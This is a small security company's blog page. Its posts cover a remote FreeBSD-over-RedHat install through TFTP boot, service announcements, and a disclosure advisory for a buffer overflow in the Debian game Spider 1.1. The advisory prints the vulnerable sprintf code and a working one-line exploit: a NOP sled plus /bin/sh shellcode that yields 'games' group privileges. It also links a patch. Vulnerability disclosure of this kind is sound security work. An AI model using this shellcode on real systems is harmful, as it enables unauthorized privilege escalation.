Emuadmin - The Tech Solution For Your Business

How to remotely install your OS of choice

emuadm — Sun, 06 Feb 2011 10:59:25 +0000

Working as a remote admin I’ve often met situations
where the datacenter wasn’t able to provide me with
the OS I wanted. Having to chose between working with an OS
that didn’t fits my needs, changing the datacenter and installing
the OS I wanted I often chose the later.

The following steps require strong knowledge of your OS of choice
it is not intended to be a step by step tutorial.

Prerequisites

- the installed OS must have a bootloader that can boot from a tftp server
- your OS of choice must have the ability to boot with a memory resident file system
- you must have access to a tftp server
- you must have access to a system with your OS of choice installed

RedHat to FreeBSD

The following steps are for a FreeBSD install over RedHat
but can be easily adjusted for most of the combinations
- 192.168.0.3 is the ip of the RedHat server
- 192.168.0.1 is the ip of a tftp server (which is the gateway for the RedHat
server in the same time), the tftp server and the RedHat server don’t have
to be on the same network

1. Configuring the bootloader
In this example we’re going to use grub as it supports
a wide variety of OS’s
- download the latest version of grub (currently 0.93)
- download this patch to allow grub to alternatively boot two OS’s
without external intervention (patch details)
- apply the patch in the grub-0.93/stage2 directory
- install grub with support for your network card
- configure grub to boot your current OS

default 1
timeout 10
title RedHat
root (hd0,0)
kernel /vmlinuz ro root=/dev/hda1
initrd /initrd.img
savedefault

Consult grub’s documentation for a proper configuration of your OS’s boot entry

- reboot
- edit grub’s config again and add the entry for tftp boot

default saved
timeout 10
title RedHat
savedefault 2
root (hd0,0)
kernel /vmlinuz ro root=/dev/hda1
initrd /initrd.img
title TFTP BOOT
savedefault 1
ifconfig –address=192.168.0.3 –server=192.168.0.1 –gateway=192.168.0.1
root (nd)
kernel /tftpboot/kernel.gz

- reboot again
- At this point your next reboot will boot using the TFTP BOOT entry,
and in case of failure you will need an external reboot to boot it back
using the installed OS

Booting the TFTP BOOT entry can be done without the alternative patch
and without the two extra reboots, the downside of this method is
that you won’t have a way to boot the installed OS in case of a failure

2. Compiling your kernel
On a FreeBSD system compile a kernel with minimal options
Be sure to include support for your network card
Include the following options:
options MFS
options MD_ROOT
options MD_ROOT_SIZE=34000 (this must be bigger or equal with the size of
your root image)
built your kernel:

cd /usr/src
make buildkernel KERNCONF=YOUR_CONFIG NO_MODULES=yes

For more information about building custom kernels on freebsd
Please see the handbook and the related man pages
http://www.FreeBSD.org

3. Create the root image
- creating the new file system

dd if=/dev/zero of=rootfs bs=4k count=5k #(20MB, adjust the values to your needs)
vnconfig -s labels -c vn0 rootfs
disklabel -r -w vn0 auto
newfs vn0c
mount /dev/vn0c /mnt/rootfs

- install a minimal freebsd distribution in /mnt/rootfs
For tips & tricks : http://neon1.net/misc/minibsd.html
- Be sure to include sshd
- Configure the network with the details of the server where
this is going to be used
- Add yourself an account to be able to login with ssh and su to root

4. Insert the root image into kernel
For this you can use the write_mfs_in_kernel program which comes with freebsd.
You can find it at /usr/src/release/write_mfs_in_kernel.c

write_mfs_in_kernel kernel rootfs
gzip kernel

Copy kernel.gz to your tftp server

5. Booting minibsd
- Reboot the RedHat server which will boot the kernel from the tftp server
If everything went ok you should be able to ssh to the old redhat server
running now your minibsd.
Once logged in you can format the harddisk and install freebsd
using your preferred method.

Enjoy.
Emilian M. Ursu
emu@emuadmin.com

Spider 1.1 10032004

emuadm — Sun, 06 Feb 2011 10:38:13 +0000

Description:
Spider 1.1 buffer overflow.

Summary:
A vulnerability has been discovered in the game spider, an application contained in the Debian GNU/Linux distribution.
The vulnerability allows a local attacker to gain elevated privileges by overflowing the -s parameter.

Impact:
The attacker can gain group privileges. By default “games”.

Workaround:
A patch can be found at http://www.emuadmin.com/contrib/software/spider/spider-1.1.patch

Details:
The vulnerability is located in the file movelog.c

read_file(fname)
char *fname;
{
FILE *fp;
char buf[1024], buf2[1024];
char *dp;

fname = remove_newlines(fname);
if ((fp = fopen(fname, “r”)) == NULL) {
(void)sprintf(buf, “Can’t open file \”%s\” for loading.”, fname);
^^^^^^^^
show_message(buf);
return;
}

sh# spider -s `perl -e ‘print “A” x 1045′`
Program received signal SIGSEGV, Segmentation fault.
Quick exploit:
sh# spider -s `perl -e ‘print “\x90″ x 987 . “\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80″. “\x0c\xf6\xf\xbf”‘`
sh# id
uid=1002(gigi) gid=13(games) groups=100(users)

Availability
This message and any further updates can be found at http://www.emuadmin.com/advisories/spider-1.1-10032004

Security Team
security@emuadmin.com

Spider 1.1 Buffer Overflow

emuadm — Sun, 06 Feb 2011 10:35:27 +0000

The security team at Emuadmin has discovered a buffer overflow in the game spider, an application installed on Debian GNU/Linux Distribution.
The vulnerability allows an attacker to gain group privileges.

Emuadmin launched GeekHosters hosting service

emuadm — Sun, 06 Feb 2011 10:34:20 +0000

After several weeks of preparations, we are proud to anounce our latest website: GeekHosters. As the name and the slogan (“Hosting the Future.”) suggest, it is about our web hosting service. GeekHosters aims to serve especially end users, but resellers too.

Our goal is to provide competitive hosting solutions with affordable pricing. We achieve this goal by complying to a high quality standard, which, in short, is defined by:

stable Internet solutions

use of popular software (PHP, MySQL)

installing periodical updates

applying security patches

outstanding customer support

So, customers do not have to worry if their scripts will run or not or if their website can be put down by an Internet attack. Moreover, we give special credit to customers suggestions, and so GeekHosters is better every day.

As about our infrastructure, our secure datacenters are located in USA, running high quality software meant to keep both a high performance level and a secure environment. Also our network is a 24/7 managed environment.

Our offer is not tailored for a particular class of customer. GeekHosters offers general purpose, industry standard web hosting featured with all common and popular software, so any webmaster will not face any incompatibility issue.

Emuadmin running on Zope

emuadm — Sun, 06 Feb 2011 10:33:57 +0000

After months of research we found Zope to be the product we were looking for. Zope is an open source web application server primarily written in the Python programming language. It features a transactional object database which can store not only content and custom data, but also dynamic HTML templates, scripts, a search engine, and relational database (RDBMS) connections and code. It features a strong through-the-web development model, allowing you to update your web site from anywhere in the world.
We want to use this occasion to thank the Zope team for this great product.

Website released

emuadm — Sun, 06 Feb 2011 10:33:28 +0000

After over one year of serving you, we are glad to announce our first form of Emuadmin’s presence on the web. Along the time many of you asked why we don’t have a website and my answer has always been the same. My belief has always been that not the look of a website makes the quality of a service. I prefered offering a quality service to putting time in a website The question that you’re all going to ask now is “So why a website now ?” Well, along with the growth of our company it become more and more hard to get in touch with each one of you, and I feel that this presence its more and more of a need.
Thank you for your time in reading this and I hope we’ll get the privilege to serve your business.

Security Patches

emuadm — Sun, 06 Feb 2011 10:29:14 +0000

Common popular software is always monitored by hackers, in order to find exploits, which when used will cause damage on a host running that software. Application developers are constantly develop updates, attempting to fix these software holes, but there lots of ways to bring down the application.

Emuadmin develops and offers custom security patches which will minimize the risks of a potential attack upon your Internet hosts. We support all UNIX-like software, from Web servers to DNS, SSH, FTP etc. servers.

In the area of security patching, Emuadmin offers:

24/7 live support
periodical updates
performance optimization
custom plug-ins
troubleshooting

Intrusion Detection Systems

emuadm — Sun, 06 Feb 2011 10:28:19 +0000

Intrusion detection systems (IDS) are meant to alert the system maintainer, when an intrusion occurs. If it is possible, termination of the attack is done, in order to secure the server, before damage is done.

Emuadmin is specialized in IDS, always able and willing to secure your server either by using a popular product, either by developing a custom IDS, tailored for your business needs.

In the area of IDS, Emuadmin offers:

* 24/7 live support
* periodical updates
* performance optimization
* custom plug-ins
* troubleshooting

Custom Firewall

emuadm — Sun, 06 Feb 2011 10:26:04 +0000

Emuadmin develops custom firewall solutions tailored to your business needs. We either use a popular software you demand, either develop a firewall software that will fit your needs.

Firewalls will work exactly as intended, blocking incoming our outgoing traffic that you do not desire on particular Net services (ssh, ftp, web, dns etc.) or for specific Internet hosts that can cause damage or are traffic consumers.

Emuadmin supports all UNIX-like platforms, such as Linux, FreeBSD, OpenBSD, NetBSD, Solaris etc.

In the area of custom firewalls, Emuadmin offers:

24/7 live support
periodical updates
performance optimization
custom plug-ins
troubleshooting

Server security audit

emuadm — Sun, 06 Feb 2011 10:25:12 +0000

Server security is well represented in our expertise areas. Emuadmin is specialized in current security trends on the Internet, and our experience enables us to identify potential threats that might bring down your Internet hosts.

We offer full security auditing services for all UNIX-like operating systems (such as Linux, FreeBSD, Solaris etc.) and for all Internet services.

In the area of security auditing, Emuadmin offers:

24/7 live support
threat identification and termination
periodical check
performance optimization
troubleshooting